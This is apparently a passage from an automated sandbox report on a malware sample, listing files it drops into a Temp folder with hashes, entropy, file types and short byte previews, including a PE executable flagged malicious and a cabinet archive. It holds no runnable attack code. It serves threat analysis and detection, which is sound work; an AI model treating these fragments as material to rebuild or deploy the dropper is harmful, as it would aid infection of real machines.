Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\634977\Q

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	data
Category:	dropped
Size (bytes):	261000
Entropy (8bit):	7.999380865842244
Encrypted:	true
SSDEEP:	6144:uI+2kC/+Hpt4pXPjBEXBH/ziVCDRFyHaKxxY2y6Nu:GSKtGLBE1/hDDkaKx7Bu
MD5:	18D6CA5CD4425B2A59D0204845B3A313
SHA1:	D40789E751F1DF3D8B4A3589E3C0E46C73734982
SHA-256:	00F9508CFAA49CB06D23A766BCF7400A01D520E9C59DED5EE432445433DC92A7
SHA-512:	29D8A710C8268B73B131FB4B1E4A468D147664B0DC1E798A841B41AD205C388A19DECC0E32AFC35A3F5C507240B9B0AED079F862883E443191B71E3E76AC0C7A
Malicious:	false
Preview:	.......<2.R.q....T......C>...@byp..5.........\R.B{W....(.b_h. .>.V.....K..'......U.........S..9..{=C...?c....Fb..\|.,G-3H....P.W.J.f#.k.`.......-....H....-P.j.....RY....3..%...t\.....L.=I....#..mG.dK...;.S.`t.U.........d.........~..R.!.M...R/\|i....w.u]C....T\..Q'..r.a{..V..}.. ./.{.x.......Klt.T.)S.g.Ov...'..oz,.b......o..,/;..`..aM.?......EL.......9...M..x..ex.....,.)....(..e......?..(K....2./..I0..b.......:7..m.fs..I.......;t..&.[^f..H.....(@..l......,....E.E.^6.V...g.c......1\|w.....3D...}..}...(..v....U....-..,.e.J.pI.....c..........(!..P.?.u...Af..f...R<O... .}.P.`.".`.....Ca.Eg_...3....'...fv..b.D'...4AC.......u...t.6.8...p.g.7....a.>..X..Y..J.....&l..3..>..T.....D.D..<9.%...V.2.n..0.._...Yt....%....u.L..."?.!.. ....x.M.r`..e..KCef.\>/.T...8.....7..r'..JbM....V..2Qz.b...K.....^.d^...fd.<....a.....hx.T...MC..j^..q......%./.hE...:.n...9...!N..gN]...L..R.^.kBs.1./.Af.....h..J.U...3....?..A..q.l..._.v...]....h..>..$........Z..=

C:\Users\user\AppData\Local\Temp\634977\Surrey.com

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	947288
Entropy (8bit):	6.630612696399572
Encrypted:	false
SSDEEP:	24576:uvG4FEq/TQ+Svbi3zcNjmsuENOJuM8WU2a+BYK:u9GqLQHbijkmc2umva+OK
MD5:	62D09F076E6E0240548C2F837536A46A
SHA1:	26BDBC63AF8ABAE9A8FB6EC0913A307EF6614CF2
SHA-256:	1300262A9D6BB6FCBEFC0D299CCE194435790E70B9C7B4A651E202E90A32FD49
SHA-512:	32DE0D8BB57F3D3EB01D16950B07176866C7FB2E737D9811F61F7BE6606A6A38A5FC5D4D2AE54A190636409B2A7943ABCA292D6CEFAA89DF1FC474A1312C695F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................\|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\796715b3-6804-4b8f-9a13-ae64efbd46d4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	154477
Entropy (8bit):	7.835886983924039
Encrypted:	false
SSDEEP:	3072:edP3YiyHk53xr3zWwaFYgn5JFug0HjaHNK7XeSD/r/pLbWNiOAo1np:edPYJHAzyVu7HjacuSD/rBPBOJnp
MD5:	14937B985303ECCE4196154A24FC369A
SHA1:	ECFE89E11A8D08CE0C8745FF5735D5EDAD683730
SHA-256:	71006A5311819FEF45C659428944897184880BCDB571BF68C52B3D6EE97682FF
SHA-512:	1D03C75E4D2CD57EEE7B0E93E2DE293B41F280C415FB2446AC234FC5AFD11FE2F2FCC8AB9843DB0847C2CE6BD7DF7213FCF249EA71896FBF6C0696E3F5AEE46C
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........%0............G.m.}...CG.....a.s.:.S..QiI.fT.k.MdOF.2....D...v`m...M.7'.R.d...8....2..~.<w8!.W..Sg.._A6.(.pC..w.=..!..7h!J...].....3......Kf..k...\|....6./.p.....A....e.1.y.<~Mu..+(v8W........?=.V+.Gb&...u8)...=Qt...... ......x.}.f..&X.SN9e..L....[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...G0E.!....~..E...Au.C.q..y.?2An.a..Zn}. H~.vtgI...o.\|.j.e....p.........".&...........Z]o.H..+..zF.......S.E}@.F..".P`...3......jW....H.H...:..8.......<...........Z.e.>..vV.......J.,/.X.....?.%.....6....m#.u].Z...[.s.M_...J.."9l..l...,\|.....r...QC.....4:....wj.O...5....s.n.%.....y....c.....#F........)gv(..!S

C:\Users\user\AppData\Local\Temp\Competing

Download File

Process:	C:\Users\user\Desktop\25xTHcaF7V.exe
File Type:	data
Category:	dropped
Size (bytes):	44936
Entropy (8bit):	7.995959194176283
Encrypted:	true
SSDEEP:	768:VIE0Wbi1KHNRnKPLDoxra1xTOg9PZbG24I2y6oOjX+bUWyhnu:VIK1tRnKPL8xu1xq02y6Yghnu
MD5:	D746B31BFC276902000F23E46CA7E00B
SHA1:	28DEDD273385B424355907E3B894564E384F4059
SHA-256:	ABC00F6EA9B8E1CC8088EA704E592037FEA434AFD5FFF489D90C30611324975B
SHA-512:	A5C3C89B5ECB45252A54BC720E0E03486D883F49B2403D0CA045A385D0853F90D1FFAB15B5115D43AFB273B66FD8CC0786A99244103BB79966EA9EF63D38FD7A
Malicious:	false
Preview:	n.Z...0r...a...c.@68\}.xTK.....FD.M.L..K5aY..6...q...nA..F.r.{(..D.._7. ..N..6z.?0Dn.....4/@.......=.,......P.#9..O[B.......U].[_.i9.kO7.e.: \J.!......6...W}.;6=n...[{......$...\Y....-.u..RP.I....1-.......k.......EP.q..A....d\.6!.p......z]...TC....mh..M-...{c.B..3q7....8...".;..oJ..(...+.....^...%..D.K.......6m:O......Ay.....C..]N....7...^z.s{I-......u....1E...y..zRd]....kS..H.1O..../...._). .5.....y..C..H.K.....z....~C3!.Vk6.%....m..@....q..X~.:D........Dex(.uW....Q.mC...........).1........J.O.X.....T.f.z_....-G@...8..r..M..P.[.....n..8..cz.F.d.}..S...\|...2.....%...l... \..o...5./u.[...(./......`O....v...g..o.\|..EQ....h.6.\7..r...:....R9J.D.D..j..^Tow.I..r[`.>....s.H..h.'.nx...&@..S.w..%..:..v..x.m.....L_.?\|.....9.<;....UC.g..X..._....kb.u.,C"........F.Q..M..p*.G..5.^.I..:.2I....V;.u...!........9.!..<..<,......Sr..lj1.9).L. ...].....s&...2..k.5.d.E..(c....\S(%.d..X.dL@.>.U.F.3.[....D....{.;z.......E.=n.#.P...R..S...+

C:\Users\user\AppData\Local\Temp\Courage

Download File

Process:	C:\Users\user\Desktop\25xTHcaF7V.exe
File Type:	data
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	7.998039551955357
Encrypted:	true
SSDEEP:	1536:MOYugiEST40rqxwTrrJ6CVKZRC/I3o0XNe9jyj32bp7PAxhTALUg8mAA13:uiESk0+85KjC/I3HXNlaVPStALig3
MD5:	7CD4BD9C45027736143DF559673DF306
SHA1:	4080A3C2A9F6444185C1525FE4E619A2FE9F5576
SHA-256:	3B60082174B17222DF87B064230A32FCFB079F9F2721BB0B5B7CD59111A45548
SHA-512:	05CA2A3ABC8CECB2ABD78CBA89A46E41BFF3F881EFD57DBFD0ADC079347DE1F605121689E75C5AEF2A545E40E1400C74193084B9055372E1AC8A886E23DF5D05
Malicious:	false
Preview:	.......<2.R.q....T......C>...@byp..5.........\R.B{W....(.b_h. .>.V.....K..'......U.........S..9..{=C...?c....Fb..\|.,G-3H....P.W.J.f#.k.`.......-....H....-P.j.....RY....3..%...t\.....L.=I....#..mG.dK...;.S.`t.U.........d.........~..R.!.M...R/\|i....w.u]C....T\..Q'..r.a{..V..}.. ./.{.x.......Klt.T.)S.g.Ov...'..oz,.b......o..,/;..`..aM.?......EL.......9...M..x..ex.....,.)....(..e......?..(K....2./..I0..b.......:7..m.fs..I.......;t..&.[^f..H.....(@..l......,....E.E.^6.V...g.c......1\|w.....3D...}..}...(..v....U....-..,.e.J.pI.....c..........(!..P.?.u...Af..f...R<O... .}.P.`.".`.....Ca.Eg_...3....'...fv..b.D'...4AC.......u...t.6.8...p.g.7....a.>..X..Y..J.....&l..3..>..T.....D.D..<9.%...V.2.n..0.._...Yt....%....u.L..."?.!.. ....x.M.r`..e..KCef.\>/.T...8.....7..r'..JbM....V..2Qz.b...K.....^.d^...fd.<....a.....hx.T...MC..j^..q......%./.hE...:.n...9...!N..gN]...L..R.^.kBs.1./.Af.....h..J.U...3....?..A..q.l..._.v...]....h..>..$........Z..=

C:\Users\user\AppData\Local\Temp\Expanding

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	6.612702676049688
Encrypted:	false
SSDEEP:	1536:Tq0vQEcmFdni8yDGVFE5gOHu1CwCMIBZwneAJu7QnswIPumV3B4:G0Imbi80PtCZEMnVIPPB4
MD5:	FB1683F53F13B7DBE5DB3AEF09074E67
SHA1:	04542E61C4F24A07E5FD2D24A093EDF8BD5B0F59
SHA-256:	BB782D6A6B5A646A35EAA0EC09E17E48DBED725EC4E4B21358FA085F76BAAD65
SHA-512:	DB7621E490A5A3886F63249E566A7D44A3B76C1EA61A936B3DBE90C9E59A2FED573D13122CE722A776EA58C04648691F0AECB992BB8CDDC82CBF35912047B064
Malicious:	false
Preview:	w\|..0........P........,...P..0...SP...........=..............,............,...3......3......0........0......F..;.....u..R...;.,......................0.................u...,...........t...,.........3.3.....................+...\|.....................u%;.......!.......V..............0....3.3........9.............stW;.u.........@................................................@A..............;.....u...t4..s......;.u..........A.........3................A...s........\|.........F;..........,......P......P..0...SP.......................+...................................!J..........................,...........3.3....0.......0............F..;.u...t...,.....ssN...0.....,....e3.P........,.........P..0...SP........2..7............,....j...3.P..,...............P..0...SP.................,...........tw3.3....0...j.Z......0......G..;.u.............tB..,.....ss.....0.....,....&3.P........,.........P..0...SP............\...P..,...P.$...YYj.Z;..............w...\.....1..............3...3...

C:\Users\user\AppData\Local\Temp\Firewire

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	147456
Entropy (8bit):	6.434054518829439
Encrypted:	false
SSDEEP:	3072:WZg5PXPeiR6MKkjGWoUlJUPdgQa8Bp/LxyA3laW2UDQWf05mjm:WK5vPeDkjGgQaE/loUDtf0am
MD5:	C6A95332417FBFF1A331F58887C76A59
SHA1:	F6661B22A4FBB12AD6CB3604018D680C21326AC5
SHA-256:	6C7F3899EBB6A5A63CF289A24CB0347F9B7B2183D6811ADDFAB51B9B9F34D81E
SHA-512:	DD178687C6088259C2D441C61DFC53E7568227C0627976F65AB483BCA58A2A5787B109A6580AAE4B2901CCA1D0FA4C61987EE971F350D409DE030C5F3FCF0746
Malicious:	false
Preview:	.4......f.^8.Nl.F:..^<.^@.FL.FP.FT.FX.F\.F`.Fd.....j....................F\|U............[............u......3........................l.....p.....t.....x.....\|...........................f.............................................................._......^[.U..SV..j.[.F.9F.u0...j.X;.sF3.F...W.......Q......~....Y.......~._S.....Y.M......V..N.....F.^[]......U..QQ.}..........L)M....tv.}.........@)M.3.VW.}.B....U..0...E............}..t .M.......~L........E.j.P.FL......E....u..E ...u..~8...q....._^....3....FP..FT..U...u...(M..K...P.....j.j.j..u...x.I.]...U..Q.@)M.V.u.Wj.....8W.z...............d)M.j.Z.U.;........T)M.....0.........F.;G.u{............8......../.....................VW......~d...(....~h...0....~D...8....~P...@....>.t..6..<.I..&..u........d)M..U.B.U.;..._....u... .........$.........@)M........t.Q.=.....@)M..... ..5.)M..E.N.5.)M.;.L)M.u...L)M....D)M.........._..^u..5.)M.j.....I..%.)M....D)M...t..@)M..D...8.u..<)M...........U..E.VW.@......P......u..........>3._.F.....^]

C:\Users\user\AppData\Local\Temp\Gothic

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	115712
Entropy (8bit):	6.60701353329428
Encrypted:	false
SSDEEP:	3072:7VOoQ7t8T6pUkBJR8CThpmESv+AqVnBypIbv18mLthfhny:o6AUkB0CThp6vmVnjphfhny
MD5:	B24851FB189761252C2E60157AA349E9
SHA1:	1C8950AB3AB3476F22EA451BF2D1D4C04A4B6E3B
SHA-256:	04B3AF982173BC42E37ED4145162A79ABACCEF1914996FBDE18AA377EE75F45D
SHA-512:	E08E4410B44DBF8264C71D17B3E24B38A0E0B5BD22D836EB617CFEE89D0786AF26F64B4EF862A1F9F4BF385CA49F1F80BFFB4898D71B98F043F143C0377C79D0
Malicious:	false
Preview:	...M..}....E......h.sL....<............V....t..jYf9.t.V....s.......P....F..}..u..u.W....s..3.f9.t.W....s.......P....G..u..}.FV...s..3.f9.t<V...s..jZ.N..M.f9.t.V...s.......P.J....M.....;.t.W......._^[..U.............S.....SPQj.....I.P....I.S......3.Ph....S....I.P....I.8].t%...I.PP......PS......Ph.tL...........h..........P......PS....I.[..U..SVW3..Sh....j.Sj.h...@Q....I......u.2..&9].u.WS...}..Su.SW..WSV....I.V..`.I..._^[].SV..45M.W....T...j.h!.F.V..\|.I.;.t.S......_^[.U..Vh.....L.......$....V.u.....I.f.>.t.W.45M.V...&...h..I........_V.....Y3.@^]...U......T...V..V....I.f.\|F."tV....I....u!.D$.PV....I....t.P....I..D$......^..].U.....E.SVW....PW....I.....u.2.....V....YP.E.3.VPW.E...\|.I..u.V..g..3...j.Z.........Q.[.....h0.I.W..g..h0.I.V.jp.............h8xL.W.Z...h0.I.V.B.......uj.E.P.E.PhXxL..u.....I...t,.E..O j..0Vj.Z.....j.....O(Vj.Z......u......h.xL.W.....YYh0.I.W....VW.........VW....YYh.xL.V.g..YY..uj..G PS.k....u.3.f.C.....W..............E.P.E.PW.u.....I...

C:\Users\user\AppData\Local\Temp\Gtk

Download File

Process:	C:\Users\user\Desktop\25xTHcaF7V.exe
File Type:	Microsoft Cabinet archive data, 487718 bytes, 10 files, at 0x2c +A "Values" +A "Expanding", ID 7059, number 1, 29 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	487718
Entropy (8bit):	7.998702817297463
Encrypted:	true
SSDEEP:	12288:e9+oAnGSLTiB9FvDXW1JkUVmtElyUb/XCsM2Lu:e4nGlDvDm1zgtE8uM2Lu
MD5:	7A6E2B31B9BF017AF1DC514571165556
SHA1:	30175D44711A4FAE5DE3783BB38D2D3DEDB549D6
SHA-256:	5CBD6B08D52BD78A8D6FD160FF78005C194E4A356036A43AF74BB01FB347F479
SHA-512:	3F9F68A4FA9E1DC5E2D2971C53E4F505C0171BC89566D793A328D34FE02A703101002BB55260F2B29D673E4910DA34C4FB4B8D8817641A376AE0845E6B442927
Malicious:	false
Preview:	MSCF....&q......,.....................................4Z. .Values...........4Z. .Expanding...........4Z. .Voltage..L...`....4Z. .Refinance.F.........4Z. .Wagon..@..F.....4Z. .Firewire.....F.....4Z. .Kate.....d.....4Z. .Nec.....d.....4Z. .Gothic.....dh....4Z. .Representing.Z.V.-?..CK.}{\|.E...#.$..A..w...50.&N\3....N.y.&.Usutw.Iw.^....t...Uw]u}\..]v...p&a...Gp5....j.......!.;...........[>.Lw..S...Q.U..B..S..].o....${.@1...3b.s...+.J.^....<v=#..^....1..>.Y+.1..3.]....s..>...9 .....QUU.t.aH.\.........Xc......S._..[..U]..&.....X..Z..w.Q;Q...qY.g3....".x.a:..PJ...0B.Z....>d(..[..RTb?J....w.k.D.t.q.m2J...a>.tI.K.S.u&iyN..,t...wsI.r[.1......D......7.B....r.d..X..c.Ia['.."+t..........un...p..Rl-".....).u....)..MR..W...,.0...........P..~.#zFH.q...B$.6I..&!.3....)....].E.#.M.........!...c-.w..g...X.o.j.I....}h..2.D..%P.8T..G.T. \|...."...+%7.....1..fT.....B}F..A..q..Iy.KMr.k...]#*..3\|...T.....g......B.-.O..-..\|....-i.....`1+4.X,...2....K..ZBxK).z

C:\Users\user\AppData\Local\Temp\Kate

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	47646
Entropy (8bit):	7.057870361646228
Encrypted:	false
SSDEEP:	768:M9BGmd9OTGQ1Dv7sMvLHfR/ZByLiFuO/ChgZ45VatJVEV3GPkjF:M9BGmdATGODv7xvTphAiPChgZ2kOE6
MD5:	A0DCDCE55A0627816C76CD3461759E39
SHA1:	48E473E8E049F3AC258A629A3E6E8C6C5FC64867
SHA-256:	B395934F2DE31FCB8309F6A5CBA3D07CB5122380117D11B1F681C2D7C2B79976
SHA-512:	4721CBAF1E921FB4525B92E38B42B6370330E801B987B6A8FAD1D78AD03FA480FAAA8766566D47176EB2668AEC7C70926EC3156F9A18E514838A9ADE7B6F1858
Malicious:	false
Preview:	f.........................................]...]...]...]...]...]...]...]...]...]...]...]...]...]...]...]...]...]...]...]...]...].......................W..............f...]......................`.........................................................]...e................W.................]...]...`......................d...................................................f...]...].................................]...]...]...p...................~...{...............................................]...]...]..................................]...]...]...]......................e...y.......................................]...]...]...]...............................}...]...]...]...]...].....................]...]...]...]......................b...]...]...]...]...\|...........................}...]...]...]...]...]...g......................]...]...{...................z...]...]...]...]...]...\|...............................]...]...]...]...]...].......................m...b...............

C:\Users\user\AppData\Local\Temp\Nec

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	129024
Entropy (8bit):	5.201120296332505
Encrypted:	false
SSDEEP:	1536:TKaj6iTcPAsAhxjgarB/5el3EYrDWyu0uZo2B:T6whxjgarB/5elDWy4ZNB
MD5:	7607DB05AF8586A80DADE4C8F1A86AD8
SHA1:	54CAEFA7DDEDC91C34B600F9B41BE61593C56F68
SHA-256:	CA5148EFF2FBB467E84CE97CAFF533293A07D8E76185FEB4415736EF77502006
SHA-512:	E07BF419FC3526714297182E33F55F33F3F5848A549DD61399FC6F1D3A2DB812A16B70898DA4C4FA4FF6FCC747E32929318B2D8F1868B5E741706C15DF147AE2
Malicious:	false
Preview:	........r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r...............................................................................................................................................................................................................................r...........r.r.r.r.r.r.r.r.r.r.r...............................................................................................................................................................................................................................................................................................................................................................r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r...................

C:\Users\user\AppData\Local\Temp\Refinance

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	150528
Entropy (8bit):	5.952350479316479
Encrypted:	false
SSDEEP:	3072:J40ewy4Za9coRC2jfTq8QLeAg0Fuz08XvBNbjaAtsP1:J4V14ZgP0JaAOz04phdy9
MD5:	1FC300E7B135F7417A1978B287C3AED9
SHA1:	70DCBFBFCD51FCEA6F9AC25D00B3DFB000117B3F
SHA-256:	C7257E587EAB697F7DD09F02193AF3F6A9C1C4F298AA36182B574AC44DDE65E2
SHA-512:	58A87E857A37641BFF32687E68297FD51BD781B906B1FF629FF061BC57C69E6DE6C14E9F9B0C41754639A0A60EEB1D0D1157C90F20342EF00C4BA5E045B07C50
Malicious:	false
Preview:	...VW..4.I.....p.I.....tgV..(M..A......tW..@)M.W....0.........t?..T)M.....9.t1.V..T)M.............u.......P......Ph.....1..H.I._^.U..}..t..u...(M........L)M.....L)M....u.3....@)M.......0..<.I.3.@]...U..L)M.VW.}...t.W..(M..~..............@)M.....0..u...P.I.9.......j.V..(M..y.....t....E.j.h/.I.....x....E.....\|....E..........E..%\|)M.....)M.........l.....)M...p.....)M..6..\|.I..}..\|)M......t.;.t.P.e........u..'.....2._^]....y,.t..A0.I,V.0.....%T5M....^.y..u%.=L*M..u..T5M...d}.@.T5M.j...j...\|.I.3..U..}..t..u...(M..W......L)M.....L)M....u.3..-.@)M.Wj.......8W..\.I..M.j.W....\.I..M._..3.@]...U..)M....VW.}..E...t7..99t..@...M..y..u..E...)M.P......P.....;.tGQ....9...=.u..~..u.3..3.M..~:...E.}.;.t.V....9...E.)M.P.;....M..{8..3.@_^....U..}..t..u...(M..c......L)M.....L)M....tY.@)M.V....0.F...t.9..)M.u....)M...F.P..<.I..f...}..t#.u..u...@.I..F...4.I.9.u..L)M...)M.^]...U..}..t..u...(M........L)M.....L)M....u.3..-.@)M.......E..AX.E..A\.E...~..A`.E...~..Ad3.@]...U..}..t..u...(M..{.

C:\Users\user\AppData\Local\Temp\Remove

Download File

Process:	C:\Users\user\Desktop\25xTHcaF7V.exe
File Type:	data
Category:	dropped
Size (bytes):	54272
Entropy (8bit):	7.995867047320486
Encrypted:	true
SSDEEP:	1536:nT7lEI20uiz6lJ3W7Y/0wCVCdxnBJUqyfYGi7SKgnyH:nPlEiNzEW7YdCo/nBoYL7i4
MD5:	CC5FFFB779A4F41E56566A7012584961
SHA1:	51097E48414B2964CAE865A5F6242277DE41CD22
SHA-256:	80D298FC901763B121B1055474882F2DBC39023A90B2A07880917528CCEFE710
SHA-512:	AF32A70365FEB383F4C3396A419CC7A79729B96A8FE77ABC93C36D1D6D55757FC8FD51B8CFDA7862F4512FBAC375D94E6018793371CF98321F304CD68296E9A0
Malicious:	false
Preview:	d.".P..k..P......s.....eV.x....8..6..".ELz.#{..y.,.99...cZA..c6$<....e..L.q...{>T..0..C-.Y.+ZZ.r..../.....).{.^..%j...(.Q....q..p.....~..bN......>F5....p.."&...s..K.6..u.m...SIV}t.G.....hQv.......Z6d..ebXA.....u..a.h.jO.7.u..7\|#...4V..M<..(5..J.....RJ.Fg...[x..._sf.z.lmK...P..A.b(e.rJ.#..\......u.R...-[.(.]..qL_...z........./2Kb+.0Ty....i...1=.A.....w>..f;%%.b......P..z..[myK.......0p2....;=.!.....~...O..jl!...(.;.........Y..?.....HG.J....R.7....g4j.-7....>D...L....w..91 .....8.A......y.W.....M.......9.....S..sJ.l.D.9.f...,.D/..L.2..,da.b.r....m'....&..../.7.X<........z..7vJx..4.N.]T...~.._~...$.H.AB.eR).>.H9i........3?..K.C...Dg...Ld....M. .\f...WO.......$.Q.#..+..$.M.V..8.GF,..r...V....f...Y3U.....:u.k.....]e..@..p..M..\|.]..`.NQ.....?..R..:X.B.#..Wu.T.....t4 O.k^...L.......l-...O?0..\.mV).u.\..L8.U":..o..R....I..N.4.d.;.~...1...Bn.]..I..`$..,.h..bb..v./.t;(..'....D..........id3...%.....RI......nt....8..........GC..E.2.:..%.}.b.:.P

C:\Users\user\AppData\Local\Temp\Representing

Download File

Process:	C:\Windows\SysWOW64\extrac32.exe
File Type:	data
Category:	dropped
Size (bytes):	134144
Entropy (8bit):	6.701668711147518
Encrypted:	false
SSDEEP:	3072:cT/sZydTmRxlHS3NxrHSBRtNPnj0nEoXnmowS2u5l:O/sZ7HS3zcNPj0nEo3tb2G
MD5:	F100C01D94625F55D67B50AA1E5DE126
SHA1:	273AC1108A9FCE76270344B8140EBF30E1931702
SHA-256:	F726FE147BDE8E66309E97FFC5A17BAFB950E11552D41033B5F4D54B0DF882F7
SHA-512:	082C22938FC0B45287CC096D0B0E6B85E37111737AF2D38D91F96E2EBD80406127DFC6FE7D28FC96708B48C1C294EA6837C938E65489247B5017804A0D6008CC
Malicious:	false
Preview:	......c(..)M.N\|..+...9E.v7..........}.......;............Fh...................(...E.<G.}.....;M........F\|;...Z.............%....=....u...G.......%......................u..F\|....}.;...4...f.?.uC....;...t0.~l..........t!...t.......t...( ..t...) .........F\|.<W.}..M.A.M.;M...T........;M............;~\|...........%....=....u...G.......%.........................wTt.......w@t....t... uj......u.3..}.....;...X....E.<W@.}..E.;E...u....=.........u...._ ..w.t.... ..r.... ..v.../ ..u....0..t.3..............;............Vh9..........;M............;~\|s......%....=....u...G.......%.........................w9tB...r....v83.u.3..}.....;...o....E.<W@.}..E.;E.\|..X............w.......;M...@...;~\|............E.....%......=....u&..G.......%....................E...............s..FD...........E.<G.E.@.}..E.;E.\|......;M.......;~\|............E.....%......=....u#..G.......%..........E....................e....FD......X....E.<G.E.@.}..E.;E.\|..>...;M...8...;~\|............E.....%......=....u&..G....

C:\Users\user\AppData\Local\Temp\Throws

Download File

Process:	C:\Users\user\Desktop\25xTHcaF7V.exe
File Type:	data
Category:	dropped
Size (bytes):	75776
Entropy (8bit):	7.997968854243502
Encrypted:	true
SSDEEP:	1536:ptek8sXflQVCDsfwQvY5u7YRxemFgqNMo5qSr+z:ptekFdQVCDRu7Yyqgd9
MD5:	2331DD69E6C3C1ECAC03980021BAA6DF
SHA1:	8F10C41F00E379C88E729B41641FD463833A0376
SHA-256:	3254C74935F6680E0236E1E1EBA86001049C09CC2E13872D15DA14850A608288
SHA-512:	45974B138EE7BA4A1560F3CCFA4223B44F1787B536005E8D1EBD97EBA9A7DC7DA1BAF68B42E2673DA87CF2D0473C731A7D85FEB865E3B249648EBD624EDCCB02
Malicious:	false
Preview:	...}.3.u....1.{.-....r.x...r....).\|se..C..P:C...P....%.8....8\c.`..7.zg.....n8.a....e~.,Ak.ME'."..3S.n.....$...4}.....8..f..m...W:f].Kx...1.a-...G.t....#.SD..e'..5.}...}....._1ej.:...FQ.ZK5..<..e...........<.n.}.$.\...+..Y.#...(D....^e.......q...LbUw.>.w..,+d...P]...r.w.q.L.......1..M...c...A~.XA..A.`..J.~.[.6&!.R:K...g..\..#.........C>n.[.j.-...x.T.......RG..W.7WY...sO/1..z...3.[{.......2.'f.....[..a..\|b...5.j.......K....k.^.j..yn.s@.....Z....Hu..<.3.F.j..Q!J......(.......{5........14.H..ZVy....<D9(.7.i.c....m.rh.u...,.!"...6..2=....../..S.z.E.........L..h,..zg_.....uF.Ol.....@....Hw...u:4&,...ss.$.x/.a.yMg.F.z%.....^:.E.\.u.L.....ie.....U#R7.... 4...........A.s?.q.P.yw....Z...[.0w....8....U.b....&{..N)..Qa..Owyy...e.\|..r....."............c,[R(........X..qf.o.N...="..':P.....zh..-r.;..ac..6V..W"@...\}.:K...C..?...IU.;;.....#.Y..^...L.3 uz..&.J(..3..9.ZE)..V2c-.......c.lN.Z.G.n~...-~.nA2._]%.B.....u...7k.....@.W...{....{K.a...:..9g.rz

C:\Users\user\AppData\Local\Temp\Universities

Download File

Process:	C:\Users\user\Desktop\25xTHcaF7V.exe
File Type:	ASCII text, with very long lines (1324), with CRLF line terminators
Category:	dropped
Size (bytes):	25996
Entropy (8bit):	5.107460408611384
Encrypted:	false
SSDEEP:	768:3lDGu1PMj43YyiRqFm3OMBiTeSc4rPHtZKpXVaQfRIJW6i8:35Guo4oyiam3ONFTR
MD5:	EA5BB74E17F13A38198F152786E83AAD
SHA1:	39D4CD7C660A4DE6AAAB32365C4D557BEE3F1E14
SHA-256:	6D85D7C342A3BA28411FA4C69983CFCEEA5DF9C70835444052704644EDEAD06B
SHA-512:	35D659B2C0571B7BF1DE8E108F534FAF14C66A03B27C2C49A8FA07369AF7709A54351DAEC57A08142389FAB575FBAAA9109405AE82096CE69826B61FB1E096B0
Malicious:	false
